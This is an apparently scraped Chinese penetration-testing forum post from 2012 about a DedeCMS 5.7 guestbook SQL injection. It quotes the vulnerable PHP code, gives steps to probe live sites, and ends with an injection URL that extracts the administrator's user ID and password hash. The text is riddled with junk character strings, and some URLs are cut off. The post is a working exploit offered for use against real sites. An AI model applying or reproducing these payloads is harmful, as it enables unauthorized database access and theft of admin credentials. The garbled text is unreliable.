中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.70 M" O- Y0 D& d6 D1 t

; f* Y7 J' {& W/ b& a漏洞文件edit.inc.php具体代码:
/ Z& K! @+ O  |: H5 h+ Y: h# r+ X7 b5 Y) |# x- N
< ?php  & \- |0 l, Q0 z9 Q5 t% |

" @+ m1 k, K5 c0 A5 oif(!defined('DEDEINC')) exit('Request Error!');  
+ g# X  E$ I& m# D: a
  l2 K" k/ z2 q5 S# n' e$ H   
* V! O& I! p0 N' ~, D9 ~
; H( K% v% c6 r/ Y6 t  @: Eif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  7 W, a# |+ ]7 g: M/ o: i9 p8 h6 ?
* b: I+ X& I5 `) }$ |
else $GUEST_BOOK_POS = "guestbook.php";  
$ `  F2 M' D5 @) l
' t' x* R+ ^* ?3 R# l3 N6 E5 w   5 x' U; m0 |( X- l" S

8 W: B$ M. S  P0 n- H. X$id = intval($id);  
/ r0 }! {$ D0 g; \8 f  g0 W/ [7 W, `3 Y% a, l! a# v
if(empty($job)) $job='view';  
( f9 z% K# Y7 Q1 c6 ?3 k- \  ?+ r4 v# C/ m& \" C+ `
   : y  @+ e4 Q' S2 M
& ?% n% W# F/ l
if($job=='del' && $g_isadmin)  " [% }% d/ t4 c; u0 {" j

! G3 ]5 C6 j5 B- c, C{  
4 y: C1 I+ @* }& w8 C& C
4 h, g8 ?& }) e( H3 l  d$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
. [! T4 L- \1 L/ B+ i: L# u: o' \- B" p5 W' w/ B
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  ( p: S5 X- v! g# w6 Q

9 b' r$ M+ _) j2 t2 Iexit();  ( I" R$ y  F' k/ o8 C1 G

( {; i6 D% V& e: }& L8 w}  
0 t& W6 p0 _  c) n% F* I8 L" E( ]$ ?% }
else if($job=='check' && $g_isadmin)  0 D7 [9 N+ D6 V1 z' q: c! B

. M# _: Q$ ~- C$ e9 S6 B% S8 S{  7 g; ~0 i9 [$ x6 X: m

- F) m* b9 r2 L7 S5 r) w$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  5 I7 [9 R: G) I

  Y0 k# w: N# U# f: GShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  2 B* O4 \% k( `: b: b" ~5 Q7 y
( o( e$ D7 Q+ Q6 h; g7 M9 J* x
exit();  
; K9 E$ s. l3 L3 C. @; Q
6 [2 q2 n' {1 N' ^& t3 X) _2 L}  & V% Q1 {6 i! R+ ^
9 e* X- H: G2 O% |+ p
else if($job=='editok')  : v$ Y. p; O/ S  x! h
& ]4 ?" H; c& G! |
{  5 U7 A6 d- [/ U, Q4 q/ |

" `' {4 D' M2 ^* j5 C1 q5 E% d6 V8 v$remsg = trim($remsg);  
4 f% e0 I5 W& D) S& `& O0 v
5 e) h7 Q% E/ _" Rif($remsg!='')  
9 T! i: Y) i0 U
. x" Y6 l( y* l% w3 w{  0 d: ?* V" S% f  I  q

) Z& Z3 k( O- _# T, u' |8 `//管理员回复不过滤HTML By:Errorera blog:errs.cc  
; h$ b* k0 d: N1 ^) [5 b+ O( i7 s4 Z/ Z& `& f8 r! r6 o
if($g_isadmin)  1 F% O: R$ b/ z) o: `! M; j( C
* T/ d3 Q) l7 q" {
{  % b; V$ F4 |. u% o

+ Q9 J7 b+ r& i5 s1 H# K$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
7 j% D1 W8 c. S' r' O' o' l- d( z0 e  Z7 A7 I. e  h
//$remsg <br /><font color=red>管理员回复:</font> }  ' d9 }+ _' N9 F# v; B  C
" Q! B5 Z% k( Z% |
else $ O# }# o3 b. ^8 r7 @6 U3 g# g% ^
" c4 G# a3 a- Y8 ~! U  L! U' ~8 ^
{  
. g* i9 Y) n0 r5 B  g6 C# M" J! O" ]1 ~* g9 D
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
5 q" D6 j$ Q% Y6 X* N) f
; [  o2 g" c6 P+ _$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  " Y+ M! }1 S2 l
5 T: \" V- z3 S5 K* [9 T. b
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  ) O6 N$ \( O; U# @% e6 `

+ q1 P  O: a( ?3 A$msg = $oldmsg.$remsg;    e) O2 v$ v8 N* O
) z* e4 |" M# V& k
}  
- u+ f6 f% `+ P( t
5 |& F1 ]- s: ^; A: N}  % P7 b. X$ p+ _6 q+ e

4 g& u6 I2 g" x4 y/ ~//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  0 M  t( R8 [' f- B  _, ^  [

& g0 q  Y$ f- N  Z- u$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
0 O' n5 `; T( Q$ p1 h" s$ ]# b; v6 z! T' `
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ) e" T4 t5 J+ O* i' ~% P9 R

4 h+ }0 T3 j, l! G: _7 Rexit();  % i: A  N0 L* L2 d: i  N  D

# m5 f% n% }, q+ O}  $ a' d2 j  S& d6 Y. k! q7 Z
  x! E8 x$ H+ q0 m
//home:www.errs.cc  
6 I) L  B6 C' _) ]3 @
- Z8 O5 V8 b: {# c$ U2 {if($g_isadmin)  
4 N5 h) l6 @$ [9 J) Q. i. @$ w( O) M9 k1 W, a, s+ f
{  4 [! ~4 Z, m6 s$ }% b5 f, T

( H, ^) [4 c6 p7 O# j  X$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  % ]2 b# \! A+ g$ l
( s+ i, e  s& Q; W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  9 }& U% E8 [( X( a) L/ i7 _0 w& E8 ?1 C
4 T: v' _1 Q+ L! p# C0 Z
}  
) `9 d$ S4 v* ]  Q. y, ^$ N( X( E, i9 q
else 7 C& W4 G& h. L. U! l

9 D0 s4 w6 V( u( f% O1 r( e{  
. b3 U* W& W; [5 y/ Z$ }; _/ F6 w+ v/ X" P: A2 w$ n9 I6 q7 q. G
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  7 I1 r8 v; T' ^: p9 p* H
# `; }1 R" q+ U/ k; E( t! O
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
2 V% e) f5 j# X& C; n8 R$ c
* ]2 L4 @8 t$ }( N/ M+ f} 漏洞成功需要条件:
$ ?7 u  z3 d8 t8 c2 d4 W% Z& S1. php magic_quotes_gpc=off0 t7 c1 `9 I' d0 `. S& @
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。# C6 {- f! b6 Z1 Z  G) h
( L' o% S! d" i: I, y( N+ z
怎么判断是否存在漏洞:
, q+ U. x, ~3 t先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,+ d& A2 b/ m" P. v/ P. m" d
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
& |9 C0 z, }- n) f/ y访问:+ R5 b1 t8 b, B# G  ?* C, C
5 V2 V5 I/ y& x
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 a2 b* I% H& Z7 U3 _  e
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证4 m1 K1 D" E- u, P0 W3 \# U
+ o; [* p7 h6 Z4 G) ^
; P+ f- k" O# y: R4 ?$ [6 n0 R, G& S
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, w9 r/ p$ F; V6 S( ?' K) U& l, Y, l如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
4 n! t- B9 k) ^* |4 e3 c: J那么再次访问' z& s3 O% J! F  W

% @/ S$ O( m- p/ x' @5 iwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().6 W4 `" ?# r% M! C2 c
; r( W0 s5 Q4 [" ^) G% ~
大概利用就是这样,大家有兴趣的多研究下!!
( b) b2 e9 M$ [$ a: ^/ k4 Q& m% B3 j. v8 H1 J( A
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!& }7 q/ m7 o8 ?  e- y2 z3 J
, y' }+ X, P/ w: n+ K5 S- f, e+ N
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2